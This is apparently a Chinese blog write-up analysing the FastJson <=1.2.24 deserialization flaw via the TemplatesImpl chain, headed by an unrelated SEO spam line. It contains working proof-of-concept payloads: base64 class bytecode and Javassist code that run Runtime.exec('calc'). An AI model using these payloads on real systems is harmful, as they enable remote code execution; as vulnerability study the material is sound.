網(wǎng)站一鍵制作哪家公司做seo
FastJson在<= 1.2.24
版本中存在反序列化漏洞,主要原因FastJson支持的兩個(gè)特性:
- fastjson反序列化時(shí),JSON字符串中的
@type
字段,用來表明指定反序列化的目標(biāo)惡意對(duì)象類。 - fastjson反序列化時(shí),字符串時(shí)會(huì)自動(dòng)調(diào)用惡意對(duì)象的構(gòu)造方法,
set
方法,get
方法,若這類方法中存在利用點(diǎn),即可完成漏洞利用。
主要存在兩種利用方式:
- JdbcRowSetImpl(JNDI)
- TemplatesImpl(Feature.SupportNonPublicField)
這里分析TemplatesImpl
利用鏈
漏洞復(fù)現(xiàn)
首先創(chuàng)建一個(gè)maven
項(xiàng)目、導(dǎo)入Fastjson1.2.23
并自動(dòng)下載相關(guān)依賴
然后寫入如下代碼至Main.java
:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;public class Main {public static void main(String[] args) {ParserConfig config = new ParserConfig();String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);}
}
POC中的利用鏈TemplatesImpl
類的中的絕大多數(shù)成員變量是被private
修飾,影響漏洞的主要是_bytecodes
和 _outputProperties
兩個(gè)成員變量。
@type
:反序列化的惡意目標(biāo)類型TemplatesImpl
,FastJson最終會(huì)按照這個(gè)類反序列化得到實(shí)例_bytecodes
:繼承AbstractTranslet
類的惡意類字節(jié)碼,使用Base64
編碼。_outputProperties
:TemplatesImpl
反序列化過程中會(huì)調(diào)用getOutputProperties
方法,導(dǎo)致bytecodes
字節(jié)碼成功實(shí)例化,造成命令執(zhí)行。_name
:調(diào)用getTransletInstance
時(shí)會(huì)判斷其是否為null
,為null
直接return
,不會(huì)進(jìn)入到惡意類的實(shí)例化過程;_tfactory
:defineTransletClasses
中會(huì)調(diào)用其getExternalExtensionsMap
方法,為null
會(huì)出現(xiàn)異常;
運(yùn)行之后直接彈出計(jì)算器:
漏洞分析
上面的text
里面的_bytecodes
的內(nèi)容是以下內(nèi)容通過javac
編譯成字節(jié)碼文件(.class
)再base64
編碼后的結(jié)果:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet {public Test() throws IOException {Runtime.getRuntime().exec("calc");}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}@Overridepublic void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {}public static void main(String[] args) throws Exception {Test t = new Test();}
}
可以看到,我們通過以上代碼直接定義類Test
,并在類的構(gòu)造方法中執(zhí)行calc
的命令;至于為什么要寫上述代碼的第14
-21
行,因?yàn)?code>Test類是繼承AbstractTranslet
的,上述代碼的兩個(gè)transform
方法都是實(shí)現(xiàn)AbstractTranslet
接口的抽象方法,因此都是需要的;具體來說的話,第一個(gè)transform
帶有SerializationHandler
參數(shù),是為了把XML
文檔轉(zhuǎn)換為另一種格式,第二個(gè)transform
帶有DTMAxisIterator
參數(shù),是為了對(duì)XML
文檔中的節(jié)點(diǎn)進(jìn)行迭代。
**總結(jié):**對(duì)于上述代碼,應(yīng)該這么理解:建立Test
類,并讓其繼承AbstractTranslet
類,然后通過Test t = new Test();
來初始化,這樣我就是假裝要把xml
文檔轉(zhuǎn)換為另一種格式,在此過程中會(huì)觸發(fā)構(gòu)造方法,而我在構(gòu)造方法中的代碼就是執(zhí)行calc
,所以會(huì)彈出計(jì)算器。
為什么要繼承AbstractTranslet
類
https://blog.csdn.net/solitudi/article/details/119082164
Java
的ClassLoader
類提供了defineClass()
方法,可以把字節(jié)數(shù)組轉(zhuǎn)換成Java
類的實(shí)例,
defineClass的利用方式
public class TouchFile{public TouchFile() throws Exception {Runtime.getRuntime().exec("calc");}}
把它編譯成字節(jié)碼后Base64
之后運(yùn)行Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code =Base64.getDecoder().decode("yv66vgAAADQAHgoABgARCgASABMIABQKABIAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAOVG91Y2hGaWxlLmphdmEMAAcACAcAGQwAGgAbAQAEY2FsYwwAHAAdAQAJVG91Y2hGaWxlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAACAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEAAEABEADQASAAsAAAAEAAEADAAJAA0ADgACAAkAAAAmAAIAAQAAAAq4AAISA7YABFexAAAAAQAKAAAACgACAAAAFgAJABcACwAAAAQAAQAMAAEADwAAAAIAEA=="); Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "TouchFile", code, 0, code.length); yyds.newInstance();
成功彈出了計(jì)算器
但是這里面的方法的作用域是被Protected
修飾的,也就是說這個(gè)方法只能在ClassLoader
類中訪問,不能被其他包中的類訪問:
TransletClassLoader
類繼承了ClassLoader
類
并且在TransletClassLoader
類中,defineClass
調(diào)用了ClassLoader
里面的defineClass
方法:
然后追蹤TransletClassLoader
的使用,發(fā)現(xiàn)是defineTransletClasses
:
再往上追蹤defineTransletClasses
的使用,發(fā)現(xiàn)是getTransletInstance
:
到此為止,要么是Private
修飾要么就是Protected
修飾,需要再往上繼續(xù)追蹤,發(fā)現(xiàn)是newTransformer
,可以看到此時(shí)已經(jīng)是public
了:
因此,利用鏈如下:
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
基于此,我們可以寫出如下POC
:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;public class Main {public static class test{}public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(test.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "test" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));try {byte[] evilCode = cc.toBytecode();String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'test',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";ParserConfig config = new ParserConfig();Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);} catch (Exception e) {e.printStackTrace();}}
}
解釋一下這段POC:首先,代碼導(dǎo)入了一些類,包括com.alibaba.fastjson.JSON和com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,還有javassist庫的一些類。在Main類中定義了一個(gè)內(nèi)部靜態(tài)類test,沒有任何具體實(shí)現(xiàn)。在main方法中,代碼創(chuàng)建了一個(gè)ClassPool對(duì)象,它是Javassist庫的一部分,用于管理類的池。然后使用pool.get(test.class.getName())獲取了test類的CtClass對(duì)象。接下來,代碼構(gòu)造了一個(gè)字符串變量cmd,內(nèi)容是要執(zhí)行的命令,這里是java.lang.Runtime.getRuntime().exec("calc");,即執(zhí)行計(jì)算器程序。然后,通過cc.makeClassInitializer().insertBefore(cmd)在test類中插入了一個(gè)類初始化器,該類初始化器會(huì)在類初始化時(shí)執(zhí)行指定的命令。接下來,代碼生成一個(gè)隨機(jī)的類名,并使用cc.setName(randomClassName)將test類的名稱修改為隨機(jī)生成的類名。然后,通過cc.setSuperclass(pool.get(AbstractTranslet.class.getName()))設(shè)置test類的父類為AbstractTranslet類,這是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的一個(gè)實(shí)現(xiàn)。最后,代碼使用Fastjson庫解析一個(gè)JSON字符串text1,并嘗試將其轉(zhuǎn)換為Java對(duì)象。這里使用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作為目標(biāo)類型。在解析過程中,Fastjson庫的Feature.SupportNonPublicField特性被啟用,以支持解析非公共字段。
對(duì)于JSON字符串text1
String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'test',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";
@type
:反序列化的惡意目標(biāo)類型TemplatesImpl
,FastJson最終會(huì)按照這個(gè)類反序列化得到實(shí)例_bytecodes
:繼承AbstractTranslet
類的惡意類字節(jié)碼,使用Base64
編碼。最終這個(gè)類會(huì)被加載并使用newInstance()
實(shí)例化_outputProperties
:TemplatesImpl
反序列化過程中會(huì)調(diào)用getOutputProperties
方法,導(dǎo)致bytecodes
字節(jié)碼成功實(shí)例化,造成命令執(zhí)行。_name
:調(diào)用getTransletInstance
時(shí)會(huì)判斷其是否為null
,為null
直接return
,不會(huì)進(jìn)入到惡意類的實(shí)例化過程;_tfactory
:defineTransletClasses
中會(huì)調(diào)用其getExternalExtensionsMap
方法,為null
會(huì)出現(xiàn)異常
為什么這么構(gòu)造呢?還是直接看defineTransletClasses
這里:
可以看到,邏輯是這樣的:先判斷_bytecodes
是否為空,如果不為空,則執(zhí)行后續(xù)的代碼;后續(xù)的代碼中,會(huì)調(diào)用到自定義的ClassLoader
去加載_bytecodes
中的byte[]
,并對(duì)類的父類進(jìn)行判斷,如果是ABSTRACT_TRANSLET
也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,那么就把類成員屬性的_transletIndex
設(shè)置成當(dāng)前循環(huán)中的標(biāo)記位,第一次調(diào)用的話,就是class[0]
。
可以看到,這里的_bytecodes
和_outputProperties
都是類成員變量。同時(shí),_outputProperties
有自己的getter
方法,也就是getOutputProperties
。
在Fastjson庫的反序列化過程中,當(dāng)遇到TemplatesImpl
類的實(shí)例時(shí),Fastjson會(huì)嘗試調(diào)用getOutputProperties()
方法來獲取輸出屬性。
這是由于Fastjson庫在解析過程中會(huì)調(diào)用目標(biāo)類的一些方法,以了解對(duì)象的結(jié)構(gòu)和屬性。而
TemplatesImpl
類中的getOutputProperties()
方法是Java API規(guī)定的方法之一,Fastjson會(huì)默認(rèn)調(diào)用它。
而getOutputProperties()
方法觸發(fā)了整個(gè)漏洞利用流程:getOutputProperties()
-> newTransformer()
-> getTransletInstance()
-> defineTransletClasses()
/ EvilClass.newInstance()
Java
的ClassLoader
類提供了defineClass()
方法,可以把字節(jié)數(shù)組轉(zhuǎn)換成Java
類的實(shí)例
參考
https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw
https://xz.aliyun.com/t/7846